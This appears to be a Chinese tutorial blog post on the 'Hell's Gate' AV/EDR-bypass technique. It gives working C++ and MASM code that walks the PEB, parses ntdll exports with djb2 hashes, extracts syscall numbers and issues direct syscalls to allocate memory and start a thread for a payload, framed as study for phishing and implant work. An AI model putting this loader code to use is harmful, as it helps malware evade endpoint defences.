1.前言 接触安全已经一年多了,在实习工作中跟进项目的时候,以前我的弱项也逐步暴露出来,并越发明显,我不懂免杀与工具开发 ,钓鱼、下马的工作无法顺利进行,几乎就是面向google的渗透测试工程。
我想,如果想要进一步的发展提升,便要开展这方面的学习了,遂有此篇博文。
Hell’s Gate,也就是地狱之门,算是一项经典的底层绕过AV或EDR的技术手段,利用syscall技术调用NTDLL内函数,从而绕过杀软对函数的检测。
2.前置知识 2.1 PEB的数据结构 PEB 地址:
微软官方提供了可根据对应寄存器偏移位置读取内存的API:
两个api可以在dbghelp.h、winnt.h中找到
进程环境块是一个从内核中分配给每个进程的用户模式结构,每一个进程都会有从Ring0层分配给该进程的进程环境块,在这里,我们主要需要了解_PEB_LDR_DATA以及其他子结构
在Crispr师傅博客处找到的一个示意图:
通过 _PEB 偏移位置0x30看出,PEB存放于以fs寄存器为基地址的0x30偏移处,由此可知该示意图是由x86进程作为展示模板。
使用windbg进行调试,可以看到TEB结构体中是存在PEB进程环境块的,此处使用的是x64程序进行演示。
继续使用windbg跟进,我们可以看到_PEB结构体的组成,在这其中,我们目前最感兴趣的便是在0x018偏移处的Ldr。
使用dt指令查看_PEB_LDR_DATA结构
根据MSDN 可知,该结构体包含了进程已加载模块的信息,其中三个比较关键的成员含义如下所示:
InLoadOrderModuleList: 模块的加载顺序
InMemoryOrderModuleList: 模块在内存中的排列顺序
InInitializationOrderModuleList: 模块初始化的装载顺序
三个成员皆为双向链表,每个双向链表都是指向进程装载的模块,结构中的每个指针,指向了一个LDR_DATA_TABLE_ENTRY的结构
_LDR_DATA_TABLE_ENTRY结构
1 2 3 4 5 6 7 8 9 10 11 12 struct _LDR_DATA_TABLE_ENTRY { struct _LIST_ENTRY InLoadOrderLinks ; struct _LIST_ENTRY InMemoryOrderLinks ; struct _LIST_ENTRY InInitializationOrderLinks ; VOID* DllBase; VOID* EntryPoint; ULONG SizeOfImage; struct _UNICODE_STRING FullDllName ; struct _UNICODE_STRING BaseDllName ; ... };
所以说InMemoryOrderModuleList里的Flink的地址,指向了一个LDR_DATA_TABLE_ENTRY,利用dt指令查看也确实是验证了这一点
此时我们可以看到,当前BaseDllName的值为当前进程,在手工调试中,若想要循环遍历当前进程所加载的模块,我们可以利InMemoryOrderLinks成员的值,来查看下一个_LDR_DATA_TABLE_ENTRY中模块的信息,并由于是双向链表结构,当循环回到第一个_LDR_DATA_TABLE_ENTRY时,进程加载的模块遍历完毕。
2.2 对进程模块进行遍历 下面展示一下如何对进程的模块进行手工遍历:
2.1.1 手工遍历 利用dt查找当前进程LDR结构体的信息,根据InMemoryOrderModuleList结构体中的Fink指向的_LDR_DATA_TABLE_ENTRY结构来查看当前进程在内存中加载模块的顺序。
1 dt -r1 00007f fdac05c4c0 _PEB_LDR_DATA
跟进_LDR_DATA_TABLE_ENTRY结构,可以注意到BaseDllName的值为乱码,这是因为内存对齐问题,我们在根据Flink值查找对应结构时,一定要减去16字节,以保证我们正确对齐(x86或x64皆如此)。
1 dt -r1 0x000001a3 `6b 432a10 _LDR_DATA_TABLE_ENTRY
1 dt -r1 0x000001a3 `6b 432a10-0x10 _LDR_DATA_TABLE_ENTRY
内存中第一个加载的模块即程序本身我们已经找到,接下来便是根据InMemoryOrderLinks的值来查找下一个_LDR_DATA_TABLE_ENTRY中的模块了
InMemoryOrderLinks的详细结构:
我们需要的是InMemoryOrderLinks->Flink值。
成功找到第二个模块,ntdll.dll
1 dt -r1 0x000001a3 `6b 432880-0x10 _LDR_DATA_TABLE_ENTRY
接下来便是重复操作,查InMemoryOrderLinks->Flink值来遍历下一个模块,此处不再演示。
2.1.2 自动化操作 手工操作费时费力,本文对crispr师傅的代码做出了一些简单的更改,利用c++进行自动化打印进程模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <Windows.h> #include <iostream> #include <winternl.h> #include <intrin.h> int main () { PPEB Peb = (PPEB)__readgsqword(0x60 ); PLDR_DATA_TABLE_ENTRY pLoadModule; pLoadModule = (PLDR_DATA_TABLE_ENTRY)((PBYTE)Peb->Ldr->InMemoryOrderModuleList.Flink-0x10 ); PLDR_DATA_TABLE_ENTRY pFirstLoadModule = (PLDR_DATA_TABLE_ENTRY)((PBYTE)Peb->Ldr->InMemoryOrderModuleList.Flink - 0x10 ); do { printf ("Module Name:%ws\r\nModule Base Address:%p\r\n\r\n" , pLoadModule->FullDllName.Buffer, pLoadModule, pLoadModule->DllBase); pLoadModule = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pLoadModule->InMemoryOrderLinks.Flink-0x10 ); } while ((PLDR_DATA_TABLE_ENTRY)((PBYTE)pLoadModule->InMemoryOrderLinks.Flink - 0x10 ) != pFirstLoadModule); system ("pause" ); return 0 ; }
2.3 遍历模块中的导出表 上面我们成功拿到了内存中模块的基址,这样我们便有能力遍历进程中每个模块的导出地址表,这涉及到通过该基址去遍历PE头文件从而获取到导出地址表,可以简单的将其分为4个步骤:
获取到每个模块的基址
拿到_IMAGE_DOS_HEADER,通过检查dos->e_magic是否等于IMAGE_DOS_SIGNATURE判断头文件是否正确
遍历_IMAGE_NT_HEADER、_IMAGE_FILE_HEADER、_IMAGE_OPTIONAL_HEADER
在_IMAGE_OPTIONAL_HEADER中找到导出地址表,并将类型转为_IMAGE_EXPORT_DIRECTORY
PE文件头数据结构:
1 2 3 4 5 typedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32 OptionalHeader; } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
因此当我们拿到PE头时,便可以通过如下代码最终将内存中模块的OptionalHeader转为IMAGE_EXPORT_DIRECTORY
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include <Windows.h> #include <intrin.h> #include <iostream> #include <winternl.h> int main () { PBYTE ImageBase; PIMAGE_NT_HEADERS Nt = NULL ; PIMAGE_DOS_HEADER Dos = NULL ; PIMAGE_FILE_HEADER File = NULL ; PIMAGE_OPTIONAL_HEADER Optional = NULL ; PIMAGE_EXPORT_DIRECTORY ExportTable = NULL ; PPEB Peb = (PPEB)__readgsqword(0x60 ); PLDR_DATA_TABLE_ENTRY pLoadModule; pLoadModule = (PLDR_DATA_TABLE_ENTRY)((PBYTE)Peb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10 ); ImageBase = (PBYTE)pLoadModule->DllBase; Dos = (PIMAGE_DOS_HEADER)ImageBase; if (Dos->e_magic != IMAGE_DOS_SIGNATURE) { printf ("Pe Header Error %d\r\n" , GetLastError ()); return 0 ; } Nt = (PIMAGE_NT_HEADERS)((PBYTE)ImageBase + Dos->e_lfanew); File = (PIMAGE_FILE_HEADER)((PBYTE)ImageBase + (Dos->e_lfanew + sizeof (DWORD))); Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof (IMAGE_FILE_HEADER)); ExportTable = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)ImageBase + Optional->DataDirectory[0 ].VirtualAddress); system ("pause" ); return 0 ; }
此处我们获得导出表(EAT)的方法是:
IMAGE_DOS_HEADER:利用ImageBase基址转化而成。
IMAGE_NT_HEADER:利用Dos头地址 + Dos头成员e_lfanew处的偏移量得到。
IMAGE_FILE_HEADER:根据PE文件头的结构可知,File头的起始地址可利用Dos部首基址 + e_lfanew成员的偏移量 + 一个DWORD的大小推出。
IMAGE_OPTIONAL_HEADER:File头基址 + File头大小便是扩展PE头的地址。
根据这个逻辑,我们可以在扩展头的DataDirectory中,拿到导出表的所在地址。
对导出表中的函数进行遍历,我们可以通过:
FunctionNameAddressArray 一个包含函数名称的数组
FunctionOrdinalAddressArray 充当函数寻址数组的索引
FunctionAddressArray 一个包含函数地址的数组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <Windows.h> #include <intrin.h> #include <iostream> #include <winternl.h> int main () { PBYTE ImageBase; PIMAGE_NT_HEADERS Nt = NULL ; PIMAGE_DOS_HEADER Dos = NULL ; PIMAGE_FILE_HEADER File = NULL ; PIMAGE_OPTIONAL_HEADER Optional = NULL ; PIMAGE_EXPORT_DIRECTORY ExportTable = NULL ; PPEB Peb = (PPEB)__readgsqword(0x60 ); PLDR_DATA_TABLE_ENTRY pLoadModule; pLoadModule = (PLDR_DATA_TABLE_ENTRY)((PBYTE)Peb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10 ); printf ("Module Name:%ws\r\nModule Address:%p" , pLoadModule->FullDllName.Buffer, pLoadModule->DllBase); ImageBase = (PBYTE)pLoadModule->DllBase; Dos = (PIMAGE_DOS_HEADER)ImageBase; if (Dos->e_magic != IMAGE_DOS_SIGNATURE) { printf ("Pe Header Error %d\r\n" , GetLastError ()); return 0 ; } Nt = (PIMAGE_NT_HEADERS)((PBYTE)ImageBase + Dos->e_lfanew); File = (PIMAGE_FILE_HEADER)((PBYTE)ImageBase + (Dos->e_lfanew + sizeof (DWORD))); Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof (IMAGE_FILE_HEADER)); ExportTable = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)ImageBase + Optional->DataDirectory[0 ].VirtualAddress); PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions)); PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfNames)); PWORD pdwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals); for (WORD i = 0 ; i < ExportTable->NumberOfNames; i++) { PCHAR pFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[i]); PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pdwAddressOfNameOrdinales[i]]; printf ("Function Name:%s\r\nFunction Address:%p\r\n" , pFunctionName, pFunctionAddress); } system ("pause" ); return 0 ; }
成功读取ntdll.dll中的导出函数表
3.地狱之门 搞了这么久,终于开始我们的正片,地狱之门的学习。
3.1 什么是地狱之门? 利用windbg进行调试,可以看到未被HOOK的NTDLL的函数对应的汇编代码
NTDLL再进入Ring0执行函数内核部分前将会验证当前的线程执行环境是x64还是x86,通过对ShareUserData+0x308的后续测试也说明了这点。在进行判断是否执行函数前都会给eax寄存器一个系统调用号并且该调用号不同版本的Windows是不一样的,如果确定执行环境是基于x64则会通过syscall执行系统调用,否则会执行函数返回。
利用Windbg查询系统调用号:
1 db (ntdll!ntopenprocess + 0 x4 ) L 2
此处利用db按字节来查看ntdll模块中的NtOpenProcess函数信息,查询是以NtOpenProcess函数作为基地址,偏移4个字节查询得到对应函数的系统调用号。
在线查询系统调用号:
1 https://j00ru.vexillium.org/syscalls/nt/64 /
这边放上crispr师傅做出的被hook过的NTDLL汇编图
很显然,在ZwMapViewOfSection上,原来的mov r10,rcx已经被修改为了jmp xxxxx进行地址跳转,而在ZwSetInformationFile以及其他函数处还是未被hook过的,系统调用号分别为0x27、0x29
系统调用被定义为WORD类型(16位无符号整数),并存储在EAX寄存器中,并且实际上我们是能够动态获得系统调用号的,以NtOpenProcess为例:
这就是地狱之门的原理,直接读取进程的第二个导入模块,也就是NtDLL,解析结构然后遍历导出表,根据函数哈希找到函数地址,将这个函数读取出来后通过0xb8操作码动态获取对应的系统调用号,从而绕过内存监控,在自己程序中执行了NTDLL的导出函数而不是直接LoadLibrary然后GetProcAddress做IAT隐藏
3.2 代码实现 我们在进行操作时,需要定义一个与syscall相关联的数据结构:_VX_TABLE_ENTRY事实上每一个系统调用都需要分配一个这样的结构,用于校验导出表内导出的函数是否为我们所需,存储导出表函数的地址,存储系统调用号,结构定义如下所示
1 2 3 4 5 typedef struct _VX_TABLE_ENTRY { PVOID pAddress; DWORD64 dwHash; WORD wSystemCall; } VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
其中包括指向模块的指针,一个函数hash,用于查找内存中指定函数(此处是利用djb2算法进行加密),一个WORD类型的系统调用号wSystemCall。
同时,我们还需要定义一个更大的结构用于包括项目中所需的每一个系统调用的函数
1 2 3 4 5 6 typedef struct _VX_TABLE { VX_TABLE_ENTRY NtAllocateVirtualMemory; VX_TABLE_ENTRY NtProtectVirtualMemory; VX_TABLE_ENTRY NtCreateThreadEx; VX_TABLE_ENTRY NtWaitForSingleObject; } VX_TABLE, * PVX_TABLE;
接下來便是使用PEB的相关结构来动态获取系统调用号和函数地址来填充刚刚定义好的数据结构,用于实现自定义系统调用,绕过EAT表限制,HellsGate作者是通过TEB获取PEB数据结构,从而拿到NTDLL模块基地址实现的操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 PTEB RtlGetThreadEnvironmentBlock () {#if _WIN64 return (PTEB)__readgsqword(0x30 ); #else return (PTEB)__readfsqword(0x18 ); #endif } PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock(); PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock; if (!pCurrentTeb || !pCurrentPeb || pCurrentPeb->OSMajorVersion != 0xA ) { printf ("Windows Version Error" , GetLastError()); return 0x1 ; }
当我们拿到Peb后,接下来便是需要拿到导出表结构
取得导出表后,我们需要循环遍历导出表内的导出函数名称与地址,根据djb2算法加密函数名称拿到指定的导出函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 VX_TABLE Table = { 0 }; Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b ; if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory)) { printf ("Get NtAllocateVirtualMemory syscall error " ); return 0x1 ; } Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f ; if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx)) { printf ("Get NtCreateThreadEx syscall error " ); return 0x1 ; } Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37 ; if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory)) { printf ("Get NtProtectVirtualMemory syscall error " ); return 0x1 ; } Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb ; if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject)) { printf ("Get NtWaitForSingleObject syscall error " ); return 0x1 ; }
HellsGate中,最关键的一个函数GetVxTableEntry,在这里我们将遍历模块内的导出函数用以查找指定函数,并判断模块中的导出函数是否被hook,以及取得函数系统调用号、函数地址、dwHash获得PVX_TABLE_ENTRY的完整结构,下一步,便是通过汇编代码模拟正常系统调用过程进行调用函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 BOOL GetVxTableEntry (PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) { PDWORD pWzAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions); PDWORD pWzAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames); PWORD pWzAddressOfOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals); for (WORD i = 0 ; i < pImageExportDirectory->NumberOfNames; i++) { PCHAR pWzAddressOfName = (PCHAR)((PBYTE)pModuleBase + pWzAddressOfNames[i]); PVOID pWzAddressOfFunction = (PBYTE)pModuleBase + pWzAddressOfFunctions[pWzAddressOfOrdinales[i]]; if (djb2(pWzAddressOfName) == pVxTableEntry->dwHash) { pVxTableEntry->pAddress = pWzAddressOfFunction; WORD wz = 0 ; while (TRUE) { if (*((PBYTE)pWzAddressOfFunction + wz) == 0x4c && *((PBYTE)pWzAddressOfFunction + wz + 0x01 ) == 0x8b && *((PBYTE)pWzAddressOfFunction + wz + 0x02 ) == 0xd1 && *((PBYTE)pWzAddressOfFunction + wz + 0x03 ) == 0xb8 && *((PBYTE)pWzAddressOfFunction + wz + 0x06 ) == 0x00 && *((PBYTE)pWzAddressOfFunction + wz + 0x07 ) == 0x00 ) { BYTE Low = *((PBYTE)pWzAddressOfFunction + wz + 4 ); BYTE High = *((PBYTE)pWzAddressOfFunction + wz + 5 ); pVxTableEntry->wSystemCall = (High << 8 ) | Low; break ; } if (*((PBYTE)pVxTableEntry->pAddress + wz) == 0xc3 ) { printf ("The function is far away from syscall number" ); return FALSE; } if (*((PBYTE)pVxTableEntry->pAddress + wz) == 0x0f && *(PBYTE)pVxTableEntry->pAddress + wz + 1 == 0x05 ) { printf ("check if ret, in this case we are also probaly too far" ); return FALSE; } wz++; }; } } return TRUE; }
另起一个asm文件,用于保存我们的汇编代码,此处我们模拟原生函数的系统调用过程,在HellsGate定义的子程序中我们为wSystemCall赋值,HellDescent中我们将拿到的系统调用号传给eax寄存器,模仿正常系统调用过程,完成系统调用操作Nt函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 wSystemCall DWORD 0h .code HellsGate PROC mov wSystemCall, 0h mov wSystemCall, ecx ret HellsGate ENDP HellDescent PROC mov r10, rcx mov eax, wSystemCall syscall ret HellDescent ENDP end
调用HellsGate、HellDescent,拿到对应的Nt函数进行执行Payload进行上线。
成功上线
注:djb2算法代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <Windows.h> DWORD64 djb2 (PBYTE str) { DWORD64 dwHash = 0x7734773477347734 ; INT c; while (c = *str++) dwHash = ((dwHash << 0x5 ) + dwHash) + c; return dwHash; } int main () { DWORD64 hash = djb2 ((PBYTE)"NtCreateThreadEx" ); printf ("0x%llx\r\n" , hash); return 0 ; }
4.参考总结 1 2 3 https://www.crisprx.top/archives/540 https://www.anquanke.com/post/id/261582 https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf